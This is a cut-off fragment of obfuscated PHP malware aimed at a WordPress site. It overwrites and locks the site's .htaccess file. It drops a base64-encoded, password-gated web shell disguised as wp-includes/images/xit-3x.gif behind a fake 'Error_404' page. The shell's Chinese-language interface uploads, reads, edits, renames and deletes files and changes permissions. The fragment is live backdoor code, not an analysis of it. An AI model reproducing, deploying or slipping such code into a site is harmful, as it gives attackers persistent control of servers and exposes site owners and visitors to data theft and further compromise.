1pemUucGhwfGxpbmstYWRkLnBocHxtcy1lZGl0LnBocHxvcHRpb25zLnBocHxlZGl0LWNvbW1lbnRzLnBocHxsaW5rLW1hbmFnZXIucGhwfG1zLW9wdGlvbnMucGhwfG9wdGlvbnMtcmVhZGluZy5waHB8c3lzdGVtX2xvZy5waHApJCc+Ck9yZGVyIGFsbG93LGRlbnkKQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPg=="); $yuan_htaccess = file_get_contents($do.".htaccess"); if(md5($yuan_htaccess) != md5($huan_yuan_htaccess)) { @chmod($do.".htaccess", 0644); @file_put_contents($do.".htaccess", $huan_yuan_htaccess); @chmod($do.".htaccess", 0444); } $jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = "PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ1BSQycpOw0KDQokQVJSQVkgPSAkeydfR0VUJ31bJ0FSUkFZJ107DQokS0pNbiA9IHN0cl9yb3QxMygkQVJSQVkpOw0KJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOw0KJEV6YVUgPSBqc29uX2RlY29kZSgkY2JILCB0cnVlKTsNCmlmICgoJEV6YVVbMF0gLSB0aW1lKCkpID4gMCBhbmQgbWQ1KG1kNSgkRXphVVsyXSkpID09PSAiOWYzNDY2NWIwMDUyMzExZDViNmFkNmY4MjFkYzYyMjgiKSA6IC8vID09PT0NCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQogICAgZnVuY3Rpb24ganVlamlhbmdfcGVybXMoJGZpbGUpew0KICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7Ly8gU29ja2V0DQogICAgICAgICAgICAkaW5mbyA9ICdzJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsNCiAgICAgICAgICAgICRpbmZvID0gJ2wnOw0KICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7Ly8gUmVndWxhcg0KICAgICAgICAgICAgJGluZm8gPSAnLSc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsvLyBCbG9jayBzcGVjaWFsDQogICAgICAgICAgICAkaW5mbyA9ICdiJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQ0KICAgICAgICAgICAgJGluZm8gPSAnZCc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICAgICAgICAgJGluZm8gPSAnYyc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsvLyBGSUZPIHBpcGUNCiAgICAgICAgICAgICRpbmZvID0gJ3AnOw0KICAgICAgICB9IGVsc2Ugey8vIFVua25vd24NCiAgICAgICAgICAgICRpbmZvID0gJ3UnOw0KICAgICAgICB9DQovLyBPd25lcg0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIEdyb3VwDQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gV29ybGQNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgICAgIHJldHVybiAkaW5mbzsNCiAgICB9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLyoqDQogKiDovazljJYgXCDkuLogLw0KICovDQpmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkNCnsNCiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7DQogICAgcmV0dXJuICRwYXRoOw0KfQ0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KLyoqIOWPluW+l+ermeeCueagueebruW9lQ0KICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10NCiAqLw0KZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpew0KDQogICAgJHBocF9zZWxmID0gZGlyX3BhdGgoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KICAgICRzY3JpcHRfZmlsZW5hbWUgPSBkaXJfcGF0aCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOw0KICAgIGlmIChlbXB0eSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkgb3IgZW1wdHkoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSl7DQogICAgICAgICRkbzEgPSBkaXJfcGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCiAgICAgICAgJGRvID0gcnRyaW0oJGRvMSwnLycpOw0KICAgIH1lbHNlew0KICAgICAgICAkZG8gPSBzdHJfcmVwbGFjZShzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICRwaHBfc2VsZiksICIiLCBzdHJfcmVwbGFjZSgiXFxcXCIsICIvIiwgJHNjcmlwdF9maWxlbmFtZSkpOw0KICAgIH0NCiAgICByZXR1cm4gJGRvOw0KfQ0KJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7DQpkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsNCiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQogICAgfQ0KfQ0KDQokVmVyc2lvbiA9IGJhc2U2NF9kZWNvZGUoJzVweUE1WkNPNTVxRTVZQ1U1Ynk2Jyk7DQppZihpc3NldCgkX0dFVFsncGF0aCddKSl7DQogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQogICAgJHBhdGggPSBnZXRjd2QoKTsNCn0NCg0KDQplY2hvICc8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4NCjwvaGVhZD4nOw0KPz4NCg0KICAgIDxjZW50ZXI+DQogICAgICAgIDxzdHlsZT4NCiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30NCiAgICAgICAgICAgIHRhYmxlLHRoLHRke2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZToxM3B4O30NCiAgICAgICAgICAgIGlucHV0LHRleHRhcmVhe30NCiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30NCiAgICAgICAgICAgIHRoe3BhZGRpbmc6MTBweDt9DQogICAgICAgICAgICAudGRfaG9tZXtwYWRkaW5nOjdweDt9DQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30NCiAgICAgICAgICAgIHRleHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30NCiAgICAgICAgICAgICNjb250ZW50IHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2NlY2VjZTt0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjtjb2xvcjojZmZmO30NCiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQ0KICAgICAgICAgICAgLmRoIGE6aG92ZXJ7IGNvbG9yOiAjZjAwO30NCiAgICAgICAgPC9zdHlsZT4NCjw/cGhwDQplY2hvICc8L2hlYWQ+DQo8Ym9keT48Yj4NCjxIMT48Y2VudGVyPjxmb250IGNvbG9yPSJyZWQiPicuJFZlcnNpb24uJzwvZm9udD48L2NlbnRlcj48L2gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCg0KPHRyPjx0ZD4NCg0KPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsNCn1lbHNlew0KICAgICRwYXRoID0gZ2V0Y3dkKCk7DQp9DQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsNCiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCg0KJGdlbl9saW5rX3VybCA9ICc8YSBzdHlsZT0iY29sb3I6IzAwNjZGRiIgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLkRPQ1VNRU5UX1JPT1Q7DQokZ2VuX2xpbmtfdXJsIC49ICciPuagueebruW9lSDvvJogICAgPC9hPiZuYnNwOyc7DQplY2hvICRnZW5fbGlua191cmw7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IzAwMD4NCjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvZm9udD4NCjxicj48YnI+DQo8L3RkPjwvdHI+PHRyPjx0ZD48Y2VudGVyPic7DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7DQogICAgfQ0KfQ0KZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQo8L3RkPjwvdHI+JzsNCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsNCiAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsNCiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107DQogICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCiAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7DQp9DQovL0VtcGV0eQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddICE9ICdkZWxldGUnKXsNCi8vIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOw0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9DaG1vZA0KICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsNCiAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107DQoNCiAgICAgICAgICAgIGlmKHN0cmxlbigkbmV3X3Blcm1fbyk8PTMpICRuZXdfcGVybV9vPXN0cl9wYWQoJG5ld19wZXJtX28sMywnNicsU1RSX1BBRF9MRUZUKTsNCiAgICAgICAgICAgICRuZXdfcGVybV9vPWludHZhbChzdHJfcGFkKCRuZXdfcGVybV9vLDQsJzAnLFNUUl9QQURfTEVGVCksOCk7DQoNCiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRuZXdfcGVybV9vKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mm7TmlLnmnYPpmZDmiJDlip/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mm7TmlLnmnYPpmZDplJnor6/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPg0K5b2T5YmN5paH5Lu2IDogJy4kcGF0Yy4nPGJyPjxicj7mnYPpmZAtLS0tJy5zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJHBhdGMpLDEwLDgpLC00KS4nPGJyPjxicj4NCuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+DQo8L2Zvcm0+DQo8YnI+DQo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+DQonOw0KDQogICAgfQ0KLy8NCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsNCiAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107DQoNCiAgICAgICAgZWNobyAnPGZvcm0gYWN0aW9uPSI/QVJSQVk9Jy4kQVJSQVkuJyZvcHRpb24mcGF0aD0nLiRjd2QuJyZvcHQ9ZGVsZXRlJnR5cGU9YnVhdCIgbWV0aG9kPSJQT1NUIj4NCuaWsOebruW9leWQjSA6IDxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IkZvbGRlciIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJkZWxldGUiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgLz4NCjwvZm9ybT4nOw0KICAgIH0NCi8vUmVuYW1lIGZpbGUNCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPumHjeWRveWQjeaIkOWKnyEgOik8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPumHjeWRveWQjeWksei0pSEgOiggPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOw0KICAgICAgICB9DQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTsNCg0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4NCjwvZm9ybT4nOw0KICAgIH0NCi8vRmlsZSBiYXJ1DQogICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSBlbXB0eSgkX1BPU1RbJ25ld25hbWUnXSk/JF9QT1NUWyduZ2FyYW4xJ106JF9QT1NUWyduZXduYW1lJ107DQogICAgICAgICRhenogPSAkX1BPU1RbJ3BhdGgnXTsNCiAgICAgICAgJG5ld3ogPSAkYXp6LiIvIi4kbmV3Ow0KICAgICAgICAkbmV3X2ZpZWwgPSAkaGVsbC4nLycuJF9QT1NUWyduZ2FyYW4xJ107DQogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25nYXJhbjEnXSkpIGVjaG8gIuato+WcqOaWsOW7uuaWh+S7tu+8mnskbmV3X2ZpZWx9PGJyPjxicj4iOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rmlofku7bmiJDlip8gWyAnLiRhenouJyBdPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlrDlu7rmlofku7blpLHotKUgPjooPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+IOaWsOaWh+S7tuWQjSA6IDxpbnB1dCBuYW1lPSJuZ2FyYW4xIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJG5ldy4nIiAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5nYXJhbiIgLz48L2Zvcm0+PGJyPiAnOw0KDQogICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOw0KDQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnbmdhcmFuJ10pKXsNCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQo8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRjKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjwvZm9ybT4nOw0KICAgICAgICB9DQogICAgfQ0KLy9FZGl0ZWQgZmlsZQ0KICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ2VkaXQnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsNCiAgICAgICAgICAgIGlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+57yW6L6R5oiQ5Yqf77yBIDwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+57yW6L6R5aSx6LSl77yBPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjxicj4NCjxicj4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPg0KDQo8L2Zvcm0+JzsNCiAgICB9DQogICAgZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9EZWxldGUgZGlyIGFuZCBmaWxlDQogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCi8vRGVsZXRlIGRpcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdkaXInKXsNCg0KICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9idWF0IGZvbGRlcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdidWF0Jyl7DQogICAgICAgICAgICAkaGFhYSA9ICRfUE9TVFsncGF0aCddOw0KICAgICAgICAgICAgJGhlZWUgPSAkX1BPU1RbJ25hbWUnXTsNCiAgICAgICAgICAgICRob29vID0gIiRoYWFhLyRoZWVlIjsNCiAgICAgICAgICAgICRuZXcgPSAkaGFhYS4nLycuaHRtbH